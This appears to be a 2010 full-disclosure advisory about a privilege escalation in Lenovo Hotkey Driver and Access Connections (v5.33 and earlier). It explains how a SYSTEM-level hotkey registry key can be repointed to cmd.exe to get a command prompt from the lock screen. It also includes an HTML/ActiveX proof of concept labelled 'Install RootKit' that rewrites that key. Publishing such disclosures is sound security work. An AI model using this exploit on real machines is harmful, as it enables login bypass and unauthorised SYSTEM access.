Lenovo laptops running the Hotkey Driver and Access Connections software versions 5.33 and below suffer from a privilege escalation vulnerability. Full exploitation details provided.
d8dc187e0294d4dae1e803d9852012143ae25ce2df1e8b4274d155bb97154a81
Author: Chilik Tamir - Amdocs Power Security Testing Group
Website: http://invalid-packet.blogspot.com/2010/03/full-disclosure-security-vulnerability.html
Subject: Security vulnerability <Privilege escalation> in Lenovo Hotkey Driver and Access Connections version <=v5.33
Impact:
A privilege escalation attack can be used as a backdoor to bypass login and run arbitrary code as a System user on Lenovo or Thinkpad laptops running Access Connection v5.33 and earlier versions (tracked back to version 4)
Technical details:
The Hotkey Driver is an Lenovo application that monitors the Lenovo special Hotkeys (Fn keys) and execute Lenovo specified applications upon their invocation.
The default installation of the Hotkey Driver is as a service and runs under NT Authority\System privileges.
Upon hot key detection, the Hotkey driver checks the registry key for the specified file to lunch and evokes that file, as example When the Fn + F5 key combination is pressed the Hotkey driver checks the registry key named File at HKEY_LOCAL_MACHINE\SOFTWARE\IBM\TPHOTKEY\CLASS\01\05 for its value and then launches the specified application (by default, Tp/AcFnF5.exe).
The Hotkey driver is available even prior to Windows login due to its installation configuration.
The value of the registry key to be lunched is not verified at invocation time.
This key is not monitored by the operating system and any change to this key is undetected.
An attacker with restricted access to the registry can use this information to launch a targeted attack on Lenovo or Thinkpad users that changes this key into an arbitrary application that runs with System permission.
Reproduce:
Using the target laptop change the File registry key value at HKEY_LOCAL_MACHINE\SOFTWARE\IBM\TPHOTKEY\CLASS\01\05 from 'Tp/AcFnF5.exe' to 'cmd.exe'.
Lock the station ('Windows' + 'L').
Press 'Fn'+'F5' and a windows command prompt opens with System privilege.
Mitigation:
Please update Hotkey Driver and Access connection to the most updated version (link here) at Lenovo website
Exploit example:
This html exploit code uses ActiveX to hijack the Access connection hot key. (Please run on a Virtualized environment).
-----------code starts here----------
<head>
<script language="javaScript" type="text/javascript">
myobject = new ActiveXObject("WScript.Shell")
function install()
{
uri="HKEY_LOCAL_MACHINE\\SOFTWARE\\IBM\\TPHOTKEY\\CLASS\\01\\05";
tag="\\"
var value="File";
var data="cmd.exe";
myobject.run("reg.exe"+" copy "+uri+" "+uri+"\\backup "+" /f ");
myobject.run("reg.exe"+" ADD "+uri+" /v "+value+" /d "+data+" /f ");
value="Parameters";
data="/T:74";
myobject.run("reg.exe"+" ADD "+uri+" /v "+value+" /d "+data+" /f ");
}
function remove()
{
uri="HKEY_LOCAL_MACHINE\\SOFTWARE\\IBM\\TPHOTKEY\\CLASS\\01\\05";
myobject.run("reg.exe"+" copy "+uri+"\\backup "+uri+" /f ");
}
</script>
</head><body>
<h1>Lenovo Access Connection Exploite POC<h1>
<button onclick="install()">Install RootKit</button><P><button onclick="remove()">Remove RootKit</button>
</body></html>
---------code ends here------------